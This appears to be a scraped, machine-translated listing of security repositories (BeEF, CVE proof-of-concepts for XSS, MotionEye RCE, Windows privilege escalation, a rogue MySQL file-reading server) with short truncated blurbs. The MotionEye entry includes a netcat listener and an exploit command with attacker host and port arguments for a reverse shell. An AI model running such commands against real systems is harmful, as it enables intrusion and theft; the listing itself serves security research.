beef

Copyright c 2006-2026 Wade Alcorn - [email protected] Browser Exploitation Framework BeEF - https://beefproject.com Vedi il file 'doc/COPYING' per i permessi di copia =============================================================================== Cos'è BeEF? BeEF è l'acronimo di The Browser...

PoC-CVE-2024-24035

CVE-2024-24035 Titolo Il SIL 3.1 è vulnerabile a Cross Site Scripting XSS nel parametro "hmessage". Data: 2024-01-14 Autore: Elizeu Das Dores Homepage del fornitore: https://www.setorinformatica.com/ Versione: 3.1 POC CVE-2024-24035 Il parametro "hmessage" è vulnerabile a DOM Based Cross Site...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticata in MotionEye = 0.43.1b4 tramite bypass della convalida lato client sul campo imagefilename. Utilizzo root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Opzioni...

Rogue-MySql-Server

Rogue-MySql-Server Modifica lo script e cambia il file da leggere e la porta del server se vuoi. Esegui lo script e connettiti al tuo server per leggere il file dal lato client. Leggi mysql.log per il contenuto del file letto...

CVE-2022-29361_Werkzeug_Client-Side-Desync-to-XSS

Crediti a @kevin-mizu https://github.com/kevin-mizu/Werkzeug-CVE-2022-29361-PoC/tree/main per i dettagli leggi: https://mizu.re/post/abusing-client-side-desync-on-werkzeug Testato su Chromium 119.0.6045.123 compilato su Debian trixie/sid, in esecuzione su Debian kali-rolling...

CVE-2019-17662

CVE-2019-17662 Codice CVE modificato Utilizzato Prepared Requests, poiché nel modulo requests di python3 il ../ viene normalizzato nell'URL, ad esempio: Per il codice: root@kitploit: r = requests.get"http://123.123.123.123/../../../../../../test" printstrr.statuscode Risultato: root@kitploit: GET...

CVE-2024-48910-POC

CVE-2024-48910 Prova di concetto Questa è una prova di concetto per CVE-2024-48910. Si tratta di una vulnerabilità presente in DOMPurify, un sanitizer XSS per HTML, SVG e MathML. Questa versione di DOMPurify è vulnerabile alla contaminazione dei prototipi prototype pollution, in cui un attaccante...

CVE-2025-45620

Dettagli dell'issue Il modello di telecamera PTC310UV2 con versione firmware 0.1.0000.59. La vulnerabilità è stata riscontrata nell'interfaccia web utilizzata per accedere alla telecamera. La vulnerabilità è stata individuata durante un penetration test, pertanto alcune informazioni negli...

CVE-2023-45540

HTML-Injection...

CVE-2021-24891-Simulation

Um ambiente de laboratório prático e containerizado para simular e explorar uma vulnerabilidade de Cross-Site Scripting XSS baseada em DOM no plugin Elementor Website Builder para WordPress, identificada como CVE-2021-24891. 📖 Sobre a Vulnerabilidade Este laboratório demonstra uma vulnerabilidade...

sharemylogin

ShareMyLogin Open Source Questo è il codice sorgente pubblico di ShareMyLogin.com. Cos'è ShareMyLogin? ShareMyLogin è uno strumento sicuro per condividere informazioni sensibili come password, chiavi API o segreti di configurazione. Il Problema Inviare una password tramite Slack, Email o WhatsApp...

smb

SMB Un pacchetto Go per comunicare su SMB. Attualmente esiste solo una funzionalità minima per le funzioni lato client. root@kitploit: package main import "log" "github.com/stacktitan/smb/smb" func main host := "172.16.248.192" options := smb.Options Host: host, Port: 445, User: "alice", Domain:...

xtrace-sdk

Il database vettoriale crittografato. I tuoi dati non lasciano mai la tua macchina in chiaro. Documentazione | X | LinkedIn Gestisci la memoria AI → mem.xtrace.ai Cos'è XTrace? Ogni database vettoriale sul mercato richiede di affidare i tuoi dati a terze parti in chiaro. XTrace no. I tuoi documen...

webvm

WebVM Este repositório hospeda o código-fonte para https://webvm.io, uma máquina virtual Linux que roda no seu navegador. Experimente o novo ambiente gráfico Alpine / Xorg / i3: https://webvm.io/alpine.html WebVM é um ambiente virtual sem servidor que roda completamente no lado do cliente em...

CVE-2025-29275

CVE-2025-29275 Prova de Conceito PoC: Na aba Serviços, na seção Firewall, acesse a ferramenta de Encaminhamento de Portas. Ao criar uma nova regra de encaminhamento de portas, no campo Comentário, modifique o HTML via Inspecionar Elemento para remover o limite de caracteres que não é validado pel...

CVE-2022-31297

CVE-2022-31297 Haraj Script 3.7 - Reflektiertes XSS Exploit-Titel: Haraj Script 3.7 - Reflektiertes XSS Datum: 2022-06-13 CVE: CVE-2022-31297 Exploit-Autor: Abdulaziz Saad @b4zb0z Anbieter-Homepage: https://angtech.org/ Software-Link: https://angtech.org/product/view/3 Version: 3.7...

vulnrepo

VULNRΞPO - Generatore di Report di Vulnerabilità e Repository Un gestore di report di vulnerabilità lato client, incentrato sulla privacy, per professionisti della sicurezza. Tutti i dati vengono crittografati e memorizzati localmente nel tuo browser — per impostazione predefinita nulla viene...

motionEye-RCE-through-config-parameter

MotionEye RCE tramite bypass della validazione lato client Riepilogo Durante i test di sicurezza su un'istanza di MotionEye in esecuzione in Docker, è stato osservato che la validazione lato client nell'interfaccia web può essere aggirata. Ciò consente l'invio di input arbitrari, inclusi payload...

cve-2024-26229

cve-2024-26229 Una versione in nim della vulnerabilità LPE di Windows ora obsoleta che sfrutta CSC. Questo è solo a scopo educativo; fare riferimento all'elenco delle patch per determinare se il proprio sistema/il proprio target è vulnerabile...

cve-2022-25640-exploit

Ausnutzung von CVE-2022-25640 mit scapy Siehe CVE-2022-25640.ipynb. CVE-2022-25640 ist eine Schwachstelle in wolfSSL vor Version 5.2. Sie ermöglicht es einem Client, die mututation Authentifizierung in TLS 1.3-Verbindungen zu umgehen...